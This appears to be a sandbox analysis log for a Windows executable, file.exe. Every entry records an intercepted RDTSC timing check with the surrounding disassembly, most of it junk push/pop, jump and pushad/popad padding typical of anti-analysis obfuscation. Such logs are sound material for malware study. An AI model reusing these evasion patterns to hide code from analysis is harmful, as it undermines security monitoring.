Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BBDD second address: D5BBE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C07E second address: D5C0A9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 je 00007FC708C21986h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007FC708C21990h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 pushad 0x00000018 js 00007FC708C2198Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C175 second address: D5C179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C179 second address: D5C188 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C2198Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C20C second address: D5C210 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C210 second address: D5C231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FC708C21992h 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C231 second address: D5C2A5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 xchg eax, esi 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007FC708CACE98h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 xor edi, 3855ACC4h 0x00000028 pushad 0x00000029 jc 00007FC708CACE97h 0x0000002f cld 0x00000030 jmp 00007FC708CACEA6h 0x00000035 popad 0x00000036 xor dword ptr [ebp+122D1E3Fh], edi 0x0000003c nop 0x0000003d jmp 00007FC708CACEA7h 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C2A5 second address: D5C2A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C2A9 second address: D5C2AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C51E second address: D5C553 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC708C21990h 0x00000008 jmp 00007FC708C2198Bh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FC708C21991h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C553 second address: D5C559 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C559 second address: D5C55D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C55D second address: D5C561 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C8AA second address: D5C8AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CBF4 second address: D5CBFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CBFA second address: D5CBFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CCD4 second address: D5CCEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACEA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CCEF second address: D5CD18 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC708C2199Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007FC708C21986h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CD18 second address: D5CD1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CD1C second address: D5CD22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CD22 second address: D5CDB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACE9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov edi, dword ptr [ebp+122D38C3h] 0x00000011 mov ax, BC02h 0x00000015 popad 0x00000016 lea eax, dword ptr [ebp+124807FAh] 0x0000001c xor dword ptr [ebp+122D1E6Ch], ebx 0x00000022 nop 0x00000023 jmp 00007FC708CACEA8h 0x00000028 push eax 0x00000029 pushad 0x0000002a push esi 0x0000002b je 00007FC708CACE96h 0x00000031 pop esi 0x00000032 pushad 0x00000033 jmp 00007FC708CACE9Bh 0x00000038 pushad 0x00000039 popad 0x0000003a popad 0x0000003b popad 0x0000003c nop 0x0000003d push 00000000h 0x0000003f push ebx 0x00000040 call 00007FC708CACE98h 0x00000045 pop ebx 0x00000046 mov dword ptr [esp+04h], ebx 0x0000004a add dword ptr [esp+04h], 0000001Dh 0x00000052 inc ebx 0x00000053 push ebx 0x00000054 ret 0x00000055 pop ebx 0x00000056 ret 0x00000057 mov dx, 98EFh 0x0000005b lea eax, dword ptr [ebp+124807B6h] 0x00000061 mov cl, 94h 0x00000063 push eax 0x00000064 push edi 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CDB5 second address: D5CDB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CDB9 second address: D47365 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FC708CACE98h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 jmp 00007FC708CACE9Ah 0x00000029 call dword ptr [ebp+122D1DF8h] 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 jnp 00007FC708CACE96h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4258 second address: DA429C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007FC708C2198Ch 0x0000000e jmp 00007FC708C21998h 0x00000013 popad 0x00000014 pop eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FC708C21992h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA429C second address: DA42A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA42A0 second address: DA42AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA42AD second address: DA42BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FC708CACE96h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA42BC second address: DA42C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4425 second address: DA4447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pushad 0x0000000b jnp 00007FC708CACE98h 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 jmp 00007FC708CACE9Bh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4863 second address: DA4881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FC708C21986h 0x0000000a popad 0x0000000b jmp 00007FC708C21993h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA49D2 second address: DA49D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA49D8 second address: DA49DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7EAA second address: DA7EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC708CACEA1h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7EC0 second address: DA7ED4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC708C21990h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA9EDE second address: DA9EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA9EE4 second address: DA9EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA9EED second address: DA9EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FC708CACE96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB032F second address: DB0352 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007FC708C21986h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FC708C21994h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0352 second address: DB0363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FC708CACE9Ah 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0363 second address: DB037A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC708C21991h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB037A second address: DB0386 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0386 second address: DB038A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB038A second address: DB03C9 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC708CACE96h 0x00000008 ja 00007FC708CACE96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jno 00007FC708CACE96h 0x0000001b jmp 00007FC708CACEA3h 0x00000020 push esi 0x00000021 pop esi 0x00000022 popad 0x00000023 jmp 00007FC708CACE9Eh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB03C9 second address: DB03D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEC4F second address: DAEC53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEC53 second address: DAEC58 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEC58 second address: DAEC75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC708CACE9Ah 0x00000009 pop ecx 0x0000000a pushad 0x0000000b jmp 00007FC708CACE9Bh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEC75 second address: DAEC7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEC7B second address: DAECAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jbe 00007FC708CACEBFh 0x0000000d push eax 0x0000000e jmp 00007FC708CACEA9h 0x00000013 pop eax 0x00000014 jo 00007FC708CACE9Eh 0x0000001a push edi 0x0000001b pop edi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF2F6 second address: DAF300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF483 second address: DAF487 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF487 second address: DAF4C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C21993h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c js 00007FC708C219C9h 0x00000012 push eax 0x00000013 push edx 0x00000014 jne 00007FC708C21986h 0x0000001a jmp 00007FC708C21994h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF4C3 second address: DAF4D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FC708CACE96h 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAFFEC second address: DAFFF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FC708C21986h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAFFF8 second address: DB0020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FC708CACE9Ch 0x0000000c jmp 00007FC708CACEA5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB31DB second address: DB31F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C2198Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007FC708C21986h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB31F8 second address: DB31FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB31FC second address: DB321A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C21998h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB2947 second address: DB294D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB2AB8 second address: DB2AEC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FC708C2198Eh 0x0000000c jmp 00007FC708C21996h 0x00000011 popad 0x00000012 push ebx 0x00000013 jo 00007FC708C21992h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB2AEC second address: DB2AF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB6F0D second address: DB6F13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB6458 second address: DB645E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB68EF second address: DB68F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3961 second address: DC396A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1F11 second address: DC1F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC708C21999h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1F2E second address: DC1F36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1F36 second address: DC1F60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C21996h 0x00000007 jg 00007FC708C21986h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007FC708C21986h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC255C second address: DC2562 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC2562 second address: DC2576 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007FC708C219ADh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC2576 second address: DC257A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC2AD6 second address: DC2AE2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC708C2198Eh 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC32BE second address: DC32C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC32C4 second address: DC32C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3601 second address: DC360F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FC708CACE96h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC360F second address: DC3619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC7FF2 second address: DC7FF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC7FF6 second address: DC8004 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC8004 second address: DC8018 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACE9Eh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC8018 second address: DC803F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FC708C21993h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007FC708C21986h 0x00000013 jne 00007FC708C21986h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCBCAA second address: DCBCAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCBCAE second address: DCBCBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C2198Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D150EF second address: D150F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D150F3 second address: D150F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCAE62 second address: DCAE6B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB023 second address: DCB041 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C21992h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FC708C21986h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB2CB second address: DCB2D0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB2D0 second address: DCB2DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB2DA second address: DCB2FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jmp 00007FC708CACE9Bh 0x0000000f jmp 00007FC708CACE9Ch 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB57B second address: DCB587 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnp 00007FC708C21986h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB817 second address: DCB822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC708CACE96h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB822 second address: DCB850 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC708C219A8h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB850 second address: DCB856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
